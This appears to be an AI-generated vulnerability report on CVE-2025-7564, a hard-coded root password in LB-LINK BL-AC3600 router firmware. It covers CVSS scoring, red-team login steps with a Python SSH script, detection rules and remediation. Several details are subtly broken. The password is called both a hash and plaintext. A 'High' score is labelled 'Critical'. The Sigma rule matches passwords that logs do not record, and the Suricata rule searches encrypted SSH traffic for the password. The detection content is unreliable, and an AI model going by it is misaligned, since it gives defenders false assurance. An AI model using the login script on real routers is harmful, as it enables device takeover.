CVE-2025-7564

Executive Summary

CVE-2025-7564 is a critical vulnerability in the LB-LINK BL-AC3600 router firmware version 1.0.22. The issue involves hard-coded credentials within the /etc/shadow file, specifically the root user password hash set to blinkadmin. This allows an attacker with local access to authenticate as root using the known password. The vulnerability has been publicly disclosed, and no patch is available from the vendor. The CVSS score is 7.8 (High), with a local attack vector but no privileges required. This is a classic case of insecure credential management in embedded systems.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (router). Supply chain risks include the vendor's failure to respond to disclosure and the lack of a patched firmware update, which could lead to widespread exploitation of unpatched devices.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local (L) – Requires physical or shell access to the device.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to exploit.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full read access to all files.
• Integrity (I): High (H) – Full write access to the system.
• Availability (A): High (H) – Can cause denial of service or full compromise.

Threat Level: Critical for devices exposed to local attackers (e.g., in shared networks or physical access scenarios). The public PoC increases risk.

Deep Dive & Mechanics

The vulnerability resides in the /etc/shadow file of the LB-LINK BL-AC3600 router firmware version 1.0.22. The file contains a hard-coded password hash for the root user, set to the string blinkadmin. This is not a hash but a plaintext password stored in the shadow file, which is a severe misconfiguration.

Technical Details:

• The /etc/shadow file normally stores password hashes (e.g., $6$salt$hash). Here, the root entry is root:blinkadmin:... meaning the password is literally blinkadmin.
• An attacker with local access (e.g., via a web shell, SSH, or physical console) can read this file and authenticate as root.
• The vendor (LB-LINK) was contacted but did not respond, leaving the vulnerability unpatched.

Attack Flow:

1. Gain local access to the router (e.g., via a separate vulnerability or physical access).
2. Read /etc/shadow (e.g., cat /etc/shadow).
3. Extract the root password blinkadmin.
4. Use su or SSH to log in as root.
5. Full compromise of the device.

Vulnerable vs. Patched Code

Vulnerable Code (firmware 1.0.22): The /etc/shadow file contains:

root:blinkadmin:...

This is a plaintext password, not a hash.

Patched Code (hypothetical): A secure implementation would use a strong hashed password:

root:$6$random_salt$hashed_password:...

No official patch exists.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to the router (e.g., via a web shell or physical console).
• Knowledge of the hard-coded password.

Exploitation Steps:

1. Connect to the router via SSH or console.
2. Read the shadow file:

   cat /etc/shadow
   

3. Observe the root entry: root:blinkadmin:...
4. Switch to root user:

   su root
   

   Enter password: blinkadmin
5. Confirm root access:

   id
   

   Output: uid=0(root) gid=0(root) groups=0(root)

Automated Exploit (Python):

import paramiko

host = "192.168.1.1"
username = "root"
password = "blinkadmin"

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, username=username, password=password)
stdin, stdout, stderr = ssh.exec_command("id")
print(stdout.read().decode())
ssh.close()

Blue Team (Detection & Defense)

Detection:

• Monitor for successful SSH logins as root with password blinkadmin.
• Check for unauthorized access to /etc/shadow via audit logs.
• Use file integrity monitoring (FIM) to detect changes to /etc/shadow.

Defense:

• Change the root password immediately upon device deployment.
• Disable SSH or restrict access to trusted IPs.
• Implement network segmentation to limit local access.
• Apply vendor patch when available (none currently).

Indicators of Compromise (IOCs)

• File: /etc/shadow containing root:blinkadmin
• Process: Unauthorized su or ssh sessions as root
• Network: SSH connections from unknown IPs to the router
• Logs: /var/log/auth.log entries showing root login with password blinkadmin
• Hash: MD5 of /etc/shadow (if unchanged) – but this is not reliable.

Detection Engineering

YARA Rule

rule CVE_2025_7564_Hardcoded_Credentials {
    meta:
        description = "Detects hard-coded root password in LB-LINK BL-AC3600 shadow file"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7564"
    strings:
        $shadow = "root:blinkadmin" nocase
    condition:
        $shadow
}

Sigma Rule

title: CVE-2025-7564 - Hardcoded Root Password in LB-LINK Router
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects successful root login using hardcoded password blinkadmin on LB-LINK BL-AC3600
author: Valters IT
date: 2025-04-10
logsource:
    category: authentication
    product: linux
detection:
    selection:
        EventID: 1  # SSH login success
        User: root
        Password: blinkadmin
    condition: selection
falsepositives:
    - Legitimate admin using default password
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (msg:"CVE-2025-7564 - Hardcoded Root SSH Login"; flow:to_server; content:"SSH-2.0"; nocase; content:"root"; nocase; content:"blinkadmin"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change the root password immediately:

   passwd root
   

2. Disable SSH if not needed:

   systemctl stop sshd
   systemctl disable sshd
   

3. Restrict SSH access via firewall:

   iptables -A INPUT -p tcp --dport 22 -s <trusted_ip> -j ACCEPT
   iptables -A INPUT -p tcp --dport 22 -j DROP
   

Long-term:

• Monitor vendor for firmware updates (none currently).
• Replace the device with a secure alternative if no patch is released.
• Implement network segmentation to isolate IoT devices.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.